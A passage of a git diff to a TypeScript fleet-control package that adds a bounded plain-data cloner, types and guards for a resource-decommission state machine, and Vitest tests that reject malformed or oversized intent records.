WHERE true ON CONFLICT (tenant_tag, environment) DO UPDATE SET backend = excluded.backend, @@ -1841,6 +1949,7 @@ export class D1FleetStateStore platform_target = excluded.platform_target, migration_intent = excluded.migration_intent, backend_switch_intent = excluded.backend_switch_intent, + decommission_intent = excluded.decommission_intent, durable_object_tag = excluded.durable_object_tag, durable_object_migration_history = excluded.durable_object_migration_history, durable_object_migration_history_digest = excluded.durable_object_migration_history_digest, diff --git a/packages/fleet-control/src/strict-plain-data.ts b/packages/fleet-control/src/strict-plain-data.ts new file mode 100644 index 00000000..22c538be --- /dev/null +++ b/packages/fleet-control/src/strict-plain-data.ts @@ -0,0 +1,192 @@ +// SPDX-License-Identifier: Apache-2.0 + +export interface BoundedPlainDataOptions { + readonly maxDepth: number; + readonly maxNodes: number; + readonly maxScalarBytes: number; + readonly maxSerializedBytes: number; + readonly error: () => Error; +} + +type PlainData = + | null + | boolean + | number + | string + | PlainDataArray + | PlainDataMap; + +interface PlainDataArray extends ReadonlyArray {} + +interface PlainDataMap { + readonly [key: string]: PlainData; +} + +interface PlainDataBudget { + nodes: number; + scalarUtf8Bytes: number; +} + +type PlainDataResult = + | Readonly<{ valid: true; value: PlainData }> + | Readonly<{ valid: false }>; + +function utf8Length(value: string): number { + return new TextEncoder().encode(value).byteLength; +} + +function chargeScalar( + budget: PlainDataBudget, + value: null | boolean | number | string, + maximum: number, +): boolean { + if ( + typeof value === 'string' && + value.length > maximum - budget.scalarUtf8Bytes + ) { + return false; + } + const serialized = JSON.stringify(value); + budget.scalarUtf8Bytes += utf8Length(serialized); + return budget.scalarUtf8Bytes <= maximum; +} + +function clonePlainData( + value: unknown, + options: BoundedPlainDataOptions, + ancestors: Set, + depth: number, + budget: PlainDataBudget, +): PlainDataResult { + budget.nodes += 1; + if (depth > options.maxDepth || budget.nodes > options.maxNodes) { + return { valid: false }; + } + if ( + value === null || + typeof value === 'string' || + typeof value === 'boolean' || + (typeof value === 'number' && Number.isFinite(value)) + ) { + return chargeScalar(budget, value, options.maxScalarBytes) + ? ({ valid: true, value } as PlainDataResult) + : { valid: false }; + } + if (typeof value !== 'object' || ancestors.has(value)) { + return { valid: false }; + } + ancestors.add(value); + try { + if (Array.isArray(value)) { + if (Object.getPrototypeOf(value) !== Array.prototype) { + return { valid: false }; + } + const lengthDescriptor = Object.getOwnPropertyDescriptor(value, 'length'); + const length = + lengthDescriptor && 'value' in lengthDescriptor + ? lengthDescriptor.value + : undefined; + if ( + !Number.isSafeInteger(length) || + Number(length) < 0 || + lengthDescriptor?.enumerable !== false || + Number(length) > options.maxNodes - budget.nodes + ) { + return { valid: false }; + } + const keys = Reflect.ownKeys(value); + if ( + keys.length !== Number(length) + 1 || + !keys.includes('length') || + keys.some((key) => typeof key !== 'string') + ) { + return { valid: false }; + } + const cloned: PlainData[] = []; + for (let index = 0; index < Number(length); index += 1) { + const descriptor = Object.getOwnPropertyDescriptor( + value, + String(index), + ); + if (!descriptor || !('value' in descriptor) || !descriptor.enumerable) { + return { valid: false }; + } + const result = clonePlainData( + descriptor.value, + options, + ancestors, + depth + 1, + budget, + ); + if (!result.valid) return result; + cloned.push(result.value); + } + return { valid: true, value: cloned }; + } + const prototype = Object.getPrototypeOf(value); + if (prototype !== Object.prototype && prototype !== null) { + return { valid: false }; + } + const keys = Reflect.ownKeys(value); + if (keys.length > options.maxNodes - budget.nodes) { + return { valid: false }; + } + const cloned = Object.create(null) as Record; + for (const key of keys) { + if ( + typeof key !== 'string' || + !chargeScalar(budget, key, options.maxScalarBytes) + ) { + return { valid: false }; + } + const descriptor = Object.getOwnPropertyDescriptor(value, key); + if (!descriptor || !('value' in descriptor) || !descriptor.enumerable) { + return { valid: false }; + } + const result = clonePlainData( + descriptor.value, + options, + ancestors, + depth + 1, + budget, + ); + if (!result.valid) return result; + cloned[key] = result.value; + } + return { valid: true, value: cloned }; + } finally { + ancestors.delete(value); + } +} + +export function cloneBoundedPlainData( + value: unknown, + options: BoundedPlainDataOptions, +): unknown { + try { + if ( + !Number.isSafeInteger(options.maxDepth) || + options.maxDepth < 0 || + !Number.isSafeInteger(options.maxNodes) || + options.maxNodes < 1 || + !Number.isSafeInteger(options.maxScalarBytes) || + options.maxScalarBytes < 0 || + !Number.isSafeInteger(options.maxSerializedBytes) || + options.maxSerializedBytes < 0 + ) { + throw new Error('invalid bounded plain-data options'); + } + const result = clonePlainData(value, options, new Set(), 0, { + nodes: 0, + scalarUtf8Bytes: 0, + }); + if (!result.valid) throw new Error('invalid bounded plain data'); + const serialized = JSON.stringify(result.value); + if (utf8Length(serialized) > options.maxSerializedBytes) { + throw new Error('bounded plain data exceeded serialized limit'); + } + return result.value; + } catch { + throw options.error(); + } +} diff --git a/packages/fleet-control/src/types.ts b/packages/fleet-control/src/types.ts index be44bde5..5ef5ade1 100644 --- a/packages/fleet-control/src/types.ts +++ b/packages/fleet-control/src/types.ts @@ -206,6 +206,7 @@ export const PROVISIONING_PHASES = [ 'publishing', 'migrating', 'ready', + 'decommission-advancing', 'decommissioning', 'traffic-removed', 'credentials-revoked', @@ -316,6 +317,228 @@ export interface ExternalMigrationIntent { readonly subphase: ExternalMigrationSubphase; } +export type NormalDecommissionLifecyclePhase = + | 'publishing' + | 'ready' + | 'migrating' + | 'rolling-back' + | 'decommissioning' + | 'traffic-removed' + | 'credentials-revoked' + | 'worker-deleted' + | 'platform-credentials-revoked' + | 'platform-resources-deleted' + | 'application-resources-deleting' + | 'application-resources-deleted' + | 'database-exported' + | 'database-deleting'; + +export interface DecommissionRecordIdentity { + readonly tenantTag: string; + readonly environment: string; + readonly backend: ProvisioningBackendKind; + readonly scriptName: string; + readonly databaseId: string; + readonly databaseName: string; + readonly routeHostname: string; +} + +export type DecommissionOperationMode = + | Readonly<{ + kind: 'normal'; + requestedSpecDigest: string; + entryLifecyclePhase: NormalDecommissionLifecyclePhase; + }> + | Readonly<{ + kind: 'backend-switch'; + priorSpecDigest: string; + targetSpecDigest: string; + decommissionSnapshotSha256: string; + backendSwitchSubphase: import('./backend-switch.js').BackendSwitchSubphase; + }>; + +export interface DecommissionOperationIdentity { + readonly record: DecommissionRecordIdentity; + readonly mode: DecommissionOperationMode; +} + +export type DecommissionAttachmentPurpose = + | Readonly<{ + kind: 'application-r2-detach'; + resourceIndex: number; + name: string; + bucketName: string; + jurisdiction: R2Jurisdiction; + reservationNonce: string; + creationDate: string; + }> + | Readonly<{ kind: 'database-pre-export'; databaseId: string }> + | Readonly<{ + kind: 'database-pre-delete'; + databaseId: string; + exportLocation: string; + exportSha256: string; + exportSize: number; + }>; + +export type DecommissionBlockedAttachment = + | Readonly<{ plane: 'ordinary'; scriptName: string }> + | Readonly<{ + plane: 'dispatch'; + scriptName: string; + dispatchNamespace: string; + }>; + +export type DecommissionAttachmentProgress = + | Readonly<{ + version: 1; + target: + | Readonly<{ kind: 'd1'; databaseId: string }> + | Readonly<{ kind: 'r2'; bucketName: string }>; + evidenceSha256: string; + evidenceCount: number; + stage: 'ordinary-script-inventory'; + ordinaryInventorySha256?: string; + scriptIndex: number; + }> + | Readonly<{ + version: 1; + target: + | Readonly<{ kind: 'd1'; databaseId: string }> + | Readonly<{ kind: 'r2'; bucketName: string }>; + evidenceSha256: string; + evidenceCount: number; + stage: 'ordinary-deployment'; + ordinaryInventorySha256: string; + scriptIndex: number; + scriptName: string; + }> + | Readonly<{ + version: 1; + target: + | Readonly<{ kind: 'd1'; databaseId: string }> + | Readonly<{ kind: 'r2'; bucketName: string }>; + evidenceSha256: string; + evidenceCount: number; + stage: 'ordinary-version'; + ordinaryInventorySha256: string; + scriptIndex: number; + scriptName: string; + deploymentSha256: string; + versionIndex: number; + }> + | Readonly<{ + version: 1; + target: + | Readonly<{ kind: 'd1'; databaseId: string }> + | Readonly<{ kind: 'r2'; bucketName: string }>; + evidenceSha256: string; + evidenceCount: number; + stage: 'dispatch-namespace-inventory'; + ordinaryInventorySha256: string; + namespaceInventorySha256?: string; + namespaceIndex: number; + }> + | Readonly<{ + version: 1; + target: + | Readonly<{ kind: 'd1'; databaseId: string }> + | Readonly<{ kind: 'r2'; bucketName: string }>; + evidenceSha256: string; + evidenceCount: number; + stage: 'dispatch-script-page'; + ordinaryInventorySha256: string; + namespaceInventorySha256: string; + namespaceIndex: number; + namespaceName: string; + pageStartCursor?: string; + pageNumber: number; + seenCursorSha256: readonly string[]; + totalDispatchItems: number; + dispatchEvidenceSum256: string; + dispatchEvidenceCount: number; + }> + | Readonly<{ + version: 1; + target: + | Readonly<{ kind: 'd1'; databaseId: string }> + | Readonly<{ kind: 'r2'; bucketName: string }>; + evidenceSha256: string; + evidenceCount: number; + stage: 'dispatch-script-settings'; + ordinaryInventorySha256: string; + namespaceInventorySha256: string; + namespaceIndex: number; + namespaceName: string; + pageStartCursor?: string; + nextCursor?: string; + pageSha256: string; + pageItemCount: number; + itemOffset: number; + pageNumber: number; + seenCursorSha256: readonly string[]; + totalDispatchItems: number; + dispatchEvidenceSum256: string; + dispatchEvidenceCount: number; + }>; + +export interface DecommissionAttachmentScanEvidence { + readonly evidenceSha256: string; + readonly evidenceCount: number; +} + +export interface DecommissionIntentCommon { + readonly version: 1; + readonly operationId: string; + readonly revision: number; + readonly generation: number; + readonly updatedAt: string; + readonly identity: DecommissionOperationIdentity; + readonly lifecyclePhase: NormalDecommissionLifecyclePhase; +} + +export type DecommissionAdvanceIntent = + | (DecommissionIntentCommon & Readonly<{ state: 'transitioning' }>) + | (DecommissionIntentCommon & + Readonly<{ + state: 'discover'; + purpose: DecommissionAttachmentPurpose; + progress: DecommissionAttachmentProgress; + }>) + | (DecommissionIntentCommon & + Readonly<{ + state: 'verify'; + purpose: DecommissionAttachmentPurpose; + progress: DecommissionAttachmentProgress; + discoverEvidence: DecommissionAttachmentScanEvidence; + }>) + | (DecommissionIntentCommon & + Readonly<{ + state: 'blocked'; + purpose: DecommissionAttachmentPurpose; + attachment: DecommissionBlockedAttachment; + }>) + | Readonly<{ + version: 1; + operationId: string; + revision: number; + generation: number; + updatedAt: string; + identity: DecommissionOperationIdentity; + lifecyclePhase: 'decommissioned'; + state: 'complete'; + }>; + +export interface DecommissionAdvanceToken { + readonly version: 1; + readonly tenantTag: string; + readonly environment: string; + readonly operationId: string; + readonly revision: number; +} + +export type DecommissionAdvanceTokenClassification = 'current' | 'stale'; + export interface FleetRecord { readonly tenantTag: string; readonly backend: ProvisioningBackendKind; @@ -338,6 +561,7 @@ export interface FleetRecord { readonly platformTarget?: ExternalPlatformTargetDescription; readonly migrationIntent?: ExternalMigrationIntent; readonly backendSwitchIntent?: import('./backend-switch.js').BackendSwitchIntent; + readonly decommissionIntent?: DecommissionAdvanceIntent; readonly applicationResources?: readonly ApplicationR2Resource[]; readonly applicationBindings?: ApplicationBindingTopology; readonly durableObjectTag?: string; @@ -363,6 +587,43 @@ export interface FleetRecord { readonly updatedAt: string; } +export function effectiveLifecyclePhase( + record: FleetRecord, +): ProvisioningPhase { + const intent = record.decommissionIntent; + if (record.phase === 'decommission-advancing') { + if (!intent || intent.state === 'complete') { + throw new Error( + 'decommission-advancing record has no active decommission intent', + ); + } + return intent.lifecyclePhase; + } + if ( + intent && + !(record.phase === 'decommissioned' && intent.state === 'complete') + ) { + throw new Error('fleet record has inconsistent decommission intent state'); + } + return record.phase; +} + +export function assertNoActiveDecommission( + record: FleetRecord, + operation: string, +): void { + if ( + record.phase === 'decommission-advancing' || + (record.decommissionIntent && + !( + record.phase === 'decommissioned' && + record.decommissionIntent.state === 'complete' + )) + ) { + throw new Error(`${operation} cannot run during an active decommission`); + } +} + export interface MaintenanceHealth { readonly armed: boolean; readonly nextAlarmAt: number | null; diff --git a/packages/fleet-control/test/backend-switch.test.ts b/packages/fleet-control/test/backend-switch.test.ts index cb0f895a..e8cccae0 100644 --- a/packages/fleet-control/test/backend-switch.test.ts +++ b/packages/fleet-control/test/backend-switch.test.ts @@ -585,6 +585,105 @@ describe('backend switch state machine', () => { ).toThrow(/exactly one/); }); + it('refuses every backend-switch entry while decommission advances', async () => { + const cases: readonly Readonly<{ + name: string; + run( + store: MemorySwitchStore, + provider: FakeSwitchProvider, + ): Promise; + }>[] = [ + { + name: 'reconcileFinalizedBackendSwitchState', + run: (store, provider) => + reconcileFinalizedBackendSwitchState({ + provider, + targetSpec, + target, + record: store.record, + lease: { + tenantTag: priorSpec.tenantTag, + environment: priorSpec.environment, + mutationLeaseTtlMs: 15 * 60_000, + assertOwned: async () => {}, + renew: async () => {}, + put: async () => {}, + delete: async () => {}, + }, + clock: () => 1_000, + }), + }, + { + name: 'switchPlainDeploymentToWorkersForPlatforms', + run: (store, provider) => + switchPlainDeploymentToWorkersForPlatforms( + switchOptions(store, provider), + ), + }, + { + name: 'rollbackBackendSwitch', + run: (store, provider) => + rollbackBackendSwitch({ + store, + provider, + priorSpec, + targetSpec, + secrets, + }), + }, + { + name: 'finalizeBackendSwitch', + run: (store, provider) => + finalizeBackendSwitch({ store, provider, targetSpec }), + }, + { + name: 'decommissionBackendSwitch', + run: (store, provider) => + decommissionBackendSwitch({ store, provider, priorSpec, targetSpec }), + }, + ]; + + for (const item of cases) { + const store = new MemorySwitchStore(); + const provider = new FakeSwitchProvider(); + const current = store.record; + store.record = { + ...current, + phase: 'decommission-advancing', + decommissionIntent: { + version: 1, + operationId: '00000000-0000-4000-8000-000000000001', + revision: 1, + generation: 0, + updatedAt: '2026-08-11T00:00:00.000Z', + identity: { + record: { + tenantTag: current.tenantTag, + environment: current.environment, + backend: current.backend, + scriptName: current.scriptName, + databaseId: current.databaseId, + databaseName: current.databaseName, + routeHostname: current.routeHostname, + }, + mode: { + kind: 'normal', + requestedSpecDigest: current.desiredSpecDigest, + entryLifecyclePhase: 'ready', + }, + }, + lifecyclePhase: 'ready', + state: 'transitioning', + }, + }; + + await expect(item.run(store, provider), item.name).rejects.toThrow( + `${item.name} cannot run during an active decommission`, + ); + expect(provider.calls, item.name).toEqual([]); + } + }); + it('persists authorization before every mutation and resumes a lost bridge response', async () => { const store = new MemorySwitchStore(); const provider = new FakeSwitchProvider(); diff --git a/packages/fleet-control/test/decommission-intent.test.ts b/packages/fleet-control/test/decommission-intent.test.ts new file mode 100644 index 00000000..76e618d7 --- /dev/null +++ b/packages/fleet-control/test/decommission-intent.test.ts @@ -0,0 +1,990 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it, vi } from 'vitest'; +import { initialWorkerAttachmentScan } from '../src/cloudflare-worker-attachment-scan-state.js'; +import { + classifyDecommissionAdvanceToken, + DecommissionAdvanceIntentError, + DecommissionAdvanceTokenDeploymentError, + DecommissionAdvanceTokenError, + DecommissionAdvanceTokenFutureError, + DecommissionAdvanceTokenOperationError, + decommissionAdvanceIntentFromUnknown, + parseDecommissionAdvanceToken, +} from '../src/decommission-intent.js'; +import { + type ApplicationR2Resource, + assertNoActiveDecommission, + type DecommissionAdvanceIntent, + type DecommissionAttachmentPurpose, + effectiveLifecyclePhase, + type FleetRecord, + type NormalDecommissionLifecyclePhase, + PROVISIONING_PHASES, +} from '../src/types.js'; + +const OPERATION_ID = '12345678-1234-4abc-8def-1234567890ab'; +const NOW = '2026-08-29T12:00:00.000Z'; +const DIGEST = 'a'.repeat(64); +const EVIDENCE = 'b'.repeat(64); +const INITIAL_PHASES = [ + 'publishing', + 'ready', + 'migrating', + 'rolling-back', +] as const; +const TEARDOWN_PHASES = [ + 'decommissioning', + 'traffic-removed', + 'credentials-revoked', + 'worker-deleted', + 'platform-credentials-revoked', + 'platform-resources-deleted', + 'application-resources-deleting', + 'application-resources-deleted', + 'database-exported', + 'database-deleting', +] as const; + +function fleetRecord(overrides: Partial = {}): FleetRecord { + return { + tenantTag: 'acme', + environment: 'production', + backend: 'plain-worker', + scriptName: 'acme-production', + databaseId: 'database-id', + databaseName: 'acme-production', + schemaVersion: 1, + artifactVersion: 'version-1', + desiredSpecDigest: DIGEST, + durableObjectBindings: [], + applicationResources: [ + { + name: 'FILES', + bucketName: 'acme-production-files', + jurisdiction: 'default', + state: 'detach-authorized', + reservationNonce: 'x'.repeat(32), + creationDate: '2026-08-29T00:00:00.000Z', + }, + ], + applicationBindings: { vars: [], secrets: [], r2Buckets: [] }, + routeHostname: 'acme.example.test', + phase: 'decommission-advancing', + databaseExportLocation: 'r2://exports/database.sqlite', + databaseExportSha256: 'c'.repeat(64), + databaseExportSize: 128, + updatedAt: '2026-08-29T00:00:00.000Z', + ...overrides, + }; +} + +function identity( + entryLifecyclePhase: NormalDecommissionLifecyclePhase = 'ready', + source: FleetRecord = fleetRecord(), + requestedSpecDigest = source.desiredSpecDigest, +) { + return { + record: { + tenantTag: source.tenantTag, + environment: source.environment, + backend: source.backend, + scriptName: source.scriptName, + databaseId: source.databaseId, + databaseName: source.databaseName, + routeHostname: source.routeHostname, + }, + mode: { + kind: 'normal' as const, + requestedSpecDigest, + entryLifecyclePhase, + }, + }; +} + +function common( + lifecyclePhase: NormalDecommissionLifecyclePhase, + overrides: Partial<{ + revision: number; + generation: number; + }> = {}, +) { + return { + version: 1 as const, + operationId: OPERATION_ID, + revision: overrides.revision ?? 0, + generation: overrides.generation ?? 0, + updatedAt: NOW, + identity: identity(), + lifecyclePhase, + }; +} + +function applicationResource( + state: ApplicationR2Resource['state'] = 'detach-authorized', +): ApplicationR2Resource { + return { + name: 'FILES', + bucketName: 'acme-production-files', + jurisdiction: 'default', + state, + reservationNonce: 'x'.repeat(32), + creationDate: '2026-08-29T00:00:00.000Z', + }; +} + +function r2Purpose(): Extract< + DecommissionAttachmentPurpose, + { kind: 'application-r2-detach' } +> { + return { + kind: 'application-r2-detach', + resourceIndex: 0, + name: 'FILES', + bucketName: 'acme-production-files', + jurisdiction: 'default', + reservationNonce: 'x'.repeat(32), + creationDate: '2026-08-29T00:00:00.000Z', + }; +} + +function parse(value: unknown, source: FleetRecord = fleetRecord()) { + return decommissionAdvanceIntentFromUnknown(value, source); +} + +describe('decommission advance intent', () => { + it('round-trips every exact state arm', () => { + const purpose = r2Purpose(); + const progress = initialWorkerAttachmentScan({ + kind: 'r2', + bucketName: purpose.bucketName, + }); + const source = fleetRecord(); + const arms: DecommissionAdvanceIntent[] = [ + { ...common('ready'), state: 'transitioning' }, + { + ...common('application-resources-deleting'), + state: 'discover', + purpose, + progress, + }, + { + ...common('application-resources-deleting'), + state: 'verify', + purpose, + progress, + discoverEvidence: { evidenceSha256: EVIDENCE, evidenceCount: 2 }, + }, + { + ...common('application-resources-deleting'), + state: 'blocked', + purpose, + attachment: { + plane: 'dispatch', + scriptName: 'foreign', + dispatchNamespace: 'fleet', + }, + }, + ]; + for (const arm of arms) { + expect(parse(JSON.parse(JSON.stringify(arm)), source)).toEqual(arm); + } + const completeSource = fleetRecord({ + phase: 'decommissioned', + applicationResources: [applicationResource('deleted')], + }); + const complete = { + ...common('ready'), + lifecyclePhase: 'decommissioned' as const, + state: 'complete' as const, + }; + expect(parse(complete, completeSource)).toEqual(complete); + }); + + it('rejects future, cross-arm, extra, missing, and non-plain shapes', () => { + const valid = { ...common('ready'), state: 'transitioning' as const }; + const accessor = vi.fn(() => 'transitioning'); + const cyclic: { self?: unknown } = {}; + cyclic.self = cyclic; + for (const malformed of [ + { ...valid, version: 2 }, + { ...valid, extra: true }, + { ...valid, operationId: undefined }, + { ...valid, purpose: r2Purpose() }, + Object.assign(Object.create({ inherited: true }), valid), + Object.defineProperty({ ...valid }, 'state', { + enumerable: true, + get: accessor, + }), + Object.assign({ ...valid }, { [Symbol('extra')]: true }), + cyclic, + ]) { + expect(() => parse(malformed)).toThrow(DecommissionAdvanceIntentError); + } + expect(accessor).not.toHaveBeenCalled(); + }); + + it('rejects malformed identifiers, counters, timestamps, and wrapper bounds', () => { + const valid = { ...common('ready'), state: 'transitioning' as const }; + for (const malformed of [ + { ...valid, operationId: 'not-a-uuid' }, + { ...valid, operationId: OPERATION_ID.toUpperCase() }, + { ...valid, operationId: '12345678-1234-5abc-8def-1234567890ab' }, + { ...valid, operationId: '12345678-1234-4abc-7def-1234567890ab' }, + { ...valid, revision: -1 }, + { ...valid, generation: Number.MAX_SAFE_INTEGER + 1 }, + { ...valid, updatedAt: 'yesterday' }, + { ...valid, updatedAt: '2026-08-29T12:00:00Z' }, + ]) { + expect(() => parse(malformed)).toThrow(DecommissionAdvanceIntentError); + } + for (const boundary of ['x'.repeat(4096), 'é'.repeat(2048)]) { + const source = fleetRecord({ routeHostname: boundary }); + const exact = { + ...valid, + identity: identity('ready', source), + }; + expect(new TextEncoder().encode(boundary).byteLength).toBe(4096); + expect(parse(exact, source)).toEqual(exact); + } + const overlong = 'x'.repeat(4097); + expect(() => + parse( + { + ...valid, + identity: { + ...valid.identity, + record: { ...valid.identity.record, routeHostname: overlong }, + }, + }, + fleetRecord({ routeHostname: overlong }), + ), + ).toThrow(DecommissionAdvanceIntentError); + const overlongUtf8 = 'é'.repeat(2049); + expect(new TextEncoder().encode(overlongUtf8).byteLength).toBe(4098); + expect(() => + parse( + { + ...valid, + identity: identity( + 'ready', + fleetRecord({ routeHostname: overlongUtf8 }), + ), + }, + fleetRecord({ routeHostname: overlongUtf8 }), + ), + ).toThrow(DecommissionAdvanceIntentError); + let exactError: unknown; + try { + parse({ ...valid, version: 2 }); + } catch (error) { + exactError = error; + } + expect(exactError).toMatchObject({ + name: 'DecommissionAdvanceIntentError', + message: 'decommission advance intent is malformed', + }); + expect(exactError).toBeInstanceOf(DecommissionAdvanceIntentError); + }); + + it('rejects every immutable record identity mismatch', () => { + const valid = { ...common('ready'), state: 'transitioning' as const }; + for (const [key, value] of Object.entries({ + tenantTag: 'other', + environment: 'other', + backend: 'workers-for-platforms', + scriptName: 'other', + databaseId: 'other', + databaseName: 'other', + routeHostname: 'other.example.test', + })) { + expect(() => + parse({ + ...valid, + identity: { + ...valid.identity, + record: { ...valid.identity.record, [key]: value }, + }, + }), + ).toThrow(DecommissionAdvanceIntentError); + } + }); + + it('requires exact detach-authorized R2 purpose identity', () => { + const purpose = r2Purpose(); + const valid = { + ...common('application-resources-deleting'), + state: 'discover' as const, + purpose, + progress: initialWorkerAttachmentScan({ + kind: 'r2' as const, + bucketName: purpose.bucketName, + }), + }; + expect(parse(valid)).toEqual(valid); + for (const malformed of [ + { ...valid, purpose: { ...purpose, resourceIndex: 1 } }, + { ...valid, purpose: { ...purpose, name: 'OTHER' } }, + { ...valid, purpose: { ...purpose, bucketName: 'other' } }, + { ...valid, purpose: { ...purpose, jurisdiction: 'eu' } }, + { ...valid, purpose: { ...purpose, reservationNonce: 'y'.repeat(32) } }, + { + ...valid, + purpose: { ...purpose, creationDate: '2026-08-28T00:00:00.000Z' }, + }, + { + ...valid, + progress: initialWorkerAttachmentScan({ + kind: 'r2', + bucketName: 'other', + }), + }, + ]) { + expect(() => parse(malformed)).toThrow(DecommissionAdvanceIntentError); + } + const reversedPurpose = { + creationDate: purpose.creationDate, + reservationNonce: purpose.reservationNonce, + jurisdiction: purpose.jurisdiction, + bucketName: purpose.bucketName, + name: purpose.name, + resourceIndex: purpose.resourceIndex, + kind: purpose.kind, + }; + expect( + JSON.stringify( + (parse({ ...valid, purpose: reversedPurpose }) as { purpose: unknown }) + .purpose, + ), + ).toBe(JSON.stringify(purpose)); + let hostileJurisdiction: unknown; + try { + parse({ ...valid, purpose: { ...purpose, jurisdiction: {} } }); + } catch (error) { + hostileJurisdiction = error; + } + expect(hostileJurisdiction).toMatchObject({ + name: 'DecommissionAdvanceIntentError', + message: 'decommission advance intent is malformed', + }); + expect(hostileJurisdiction).toBeInstanceOf(DecommissionAdvanceIntentError); + expect(() => + parse( + valid, + fleetRecord({ + applicationResources: [applicationResource('created')], + }), + ), + ).toThrow(DecommissionAdvanceIntentError); + }); + + it('enforces the D1 purpose, lifecycle, and durable-export table', () => { + const exportPurpose = { + kind: 'database-pre-export' as const, + databaseId: 'database-id', + }; + const exportIntent = { + ...common('application-resources-deleted'), + state: 'discover' as const, + purpose: exportPurpose, + progress: initialWorkerAttachmentScan({ + kind: 'd1', + databaseId: 'database-id', + }), + }; + expect(parse(exportIntent)).toEqual(exportIntent); + const deletePurpose = { + kind: 'database-pre-delete' as const, + databaseId: 'database-id', + exportLocation: 'r2://exports/database.sqlite', + exportSha256: 'c'.repeat(64), + exportSize: 128, + }; + const deleteIntent = { + ...common('database-exported'), + state: 'discover' as const, + purpose: deletePurpose, + progress: initialWorkerAttachmentScan({ + kind: 'd1', + databaseId: 'database-id', + }), + }; + expect(parse(deleteIntent)).toEqual(deleteIntent); + expect( + parse({ ...deleteIntent, lifecyclePhase: 'database-deleting' }), + ).toMatchObject({ lifecyclePhase: 'database-deleting' }); + for (const malformed of [ + { + ...exportIntent, + purpose: { ...exportPurpose, databaseId: 'other' }, + }, + { ...exportIntent, lifecyclePhase: 'ready' }, + { + ...exportIntent, + progress: initialWorkerAttachmentScan({ + kind: 'd1' as const, + databaseId: 'other', + }), + }, + { + ...deleteIntent, + purpose: { ...deletePurpose, databaseId: 'other' }, + }, + { + ...deleteIntent, + purpose: { ...deletePurpose, exportLocation: 'r2://other' }, + }, + { + ...deleteIntent, + purpose: { ...deletePurpose, exportSha256: 'd'.repeat(64) }, + }, + { + ...deleteIntent, + purpose: { ...deletePurpose, exportSize: 129 }, + }, + { ...deleteIntent, lifecyclePhase: 'application-resources-deleted' }, + { + ...deleteIntent, + progress: initialWorkerAttachmentScan({ + kind: 'd1' as const, + databaseId: 'other', + }), + }, + ]) { + expect(() => parse(malformed)).toThrow(DecommissionAdvanceIntentError); + } + }); + + it('rejects malformed, future, and target-mismatched R1 progress', () => { + const purpose = r2Purpose(); + const valid = { + ...common('application-resources-deleting'), + state: 'discover' as const, + purpose, + progress: initialWorkerAttachmentScan({ + kind: 'r2', + bucketName: purpose.bucketName, + }), + }; + for (const progress of [ + { ...valid.progress, version: 2 }, + { ...valid.progress, unexpected: true }, + initialWorkerAttachmentScan({ kind: 'r2', bucketName: 'other' }), + ]) { + expect(() => parse({ ...valid, progress })).toThrow( + DecommissionAdvanceIntentError, + ); + } + }); + + it('requires terminal-shaped discover evidence and purpose lifecycle', () => { + const purpose = r2Purpose(); + const valid = { + ...common('application-resources-deleting'), + state: 'verify' as const, + purpose, + progress: initialWorkerAttachmentScan({ + kind: 'r2' as const, + bucketName: purpose.bucketName, + }), + discoverEvidence: { evidenceSha256: EVIDENCE, evidenceCount: 2 }, + }; + expect(parse(valid)).toEqual(valid); + expect( + parse({ + ...valid, + discoverEvidence: { + ...valid.discoverEvidence, + evidenceCount: 1_000_000, + }, + }), + ).toMatchObject({ discoverEvidence: { evidenceCount: 1_000_000 } }); + for (const malformed of [ + { + ...valid, + discoverEvidence: { ...valid.discoverEvidence, evidenceCount: 1 }, + }, + { + ...valid, + discoverEvidence: { ...valid.discoverEvidence, evidenceSha256: 'bad' }, + }, + { + ...valid, + discoverEvidence: { + ...valid.discoverEvidence, + evidenceCount: 1_000_001, + }, + }, + { ...valid, lifecyclePhase: 'application-resources-deleted' }, + ]) { + expect(() => parse(malformed)).toThrow(DecommissionAdvanceIntentError); + } + }); + + it('enforces lifecycle reachability and outer phase relationships', () => { + const valid = { ...common('ready'), state: 'transitioning' as const }; + expect(parse(valid)).toEqual(valid); + const considered = [...INITIAL_PHASES, ...TEARDOWN_PHASES]; + for (const entry of INITIAL_PHASES) { + for (const current of considered) { + const source = + entry === 'migrating' && current === 'migrating' + ? fleetRecord({ + pendingSpecDigest: 'd'.repeat(64), + pendingArtifactVersion: 'candidate-v1', + }) + : fleetRecord(); + const requestedSpecDigest = + entry === 'migrating' && current === 'migrating' + ? 'd'.repeat(64) + : source.desiredSpecDigest; + const candidate = { + ...common(current), + identity: identity(entry, source, requestedSpecDigest), + state: 'transitioning' as const, + }; + if (current === entry || TEARDOWN_PHASES.includes(current as never)) { + expect(parse(candidate, source)).toEqual(candidate); + } else { + expect(() => parse(candidate, source)).toThrow( + DecommissionAdvanceIntentError, + ); + } + } + } + for ( + let entryIndex = 0; + entryIndex < TEARDOWN_PHASES.length; + entryIndex += 1 + ) { + for (const current of considered) { + const entry = TEARDOWN_PHASES[ + entryIndex + ] as NormalDecommissionLifecyclePhase; + const currentIndex = TEARDOWN_PHASES.indexOf(current as never); + const candidate = { + ...common(current), + identity: identity(entry), + state: 'transitioning' as const, + }; + if (currentIndex >= entryIndex) + expect(parse(candidate)).toEqual(candidate); + else + expect(() => parse(candidate)).toThrow( + DecommissionAdvanceIntentError, + ); + } + } + for (const lifecyclePhase of PROVISIONING_PHASES.filter( + (phase) => + ![ + 'publishing', + 'ready', + 'migrating', + 'rolling-back', + ...[ + 'decommissioning', + 'traffic-removed', + 'credentials-revoked', + 'worker-deleted', + 'platform-credentials-revoked', + 'platform-resources-deleted', + 'application-resources-deleting', + 'application-resources-deleted', + 'database-exported', + 'database-deleting', + ], + ].includes(phase), + )) { + expect(() => parse({ ...valid, lifecyclePhase })).toThrow( + DecommissionAdvanceIntentError, + ); + } + expect(() => parse(valid, fleetRecord({ phase: 'ready' }))).toThrow( + DecommissionAdvanceIntentError, + ); + expect(() => parse({ ...valid, identity: identity('publishing') })).toThrow( + DecommissionAdvanceIntentError, + ); + const missingShell = fleetRecord({ + phase: 'decommission-advancing', + decommissionIntent: undefined, + }); + expect(() => effectiveLifecyclePhase(missingShell)).toThrow( + 'decommission-advancing record has no active decommission intent', + ); + const malformedComplete = fleetRecord({ + phase: 'ready', + decommissionIntent: { + ...common('ready'), + lifecyclePhase: 'decommissioned', + state: 'complete', + }, + }); + expect(() => assertNoActiveDecommission(malformedComplete, 'test')).toThrow( + 'test cannot run during an active decommission', + ); + }); + + it('validates migration carriers and rejects reserved backend-switch mode', () => { + const 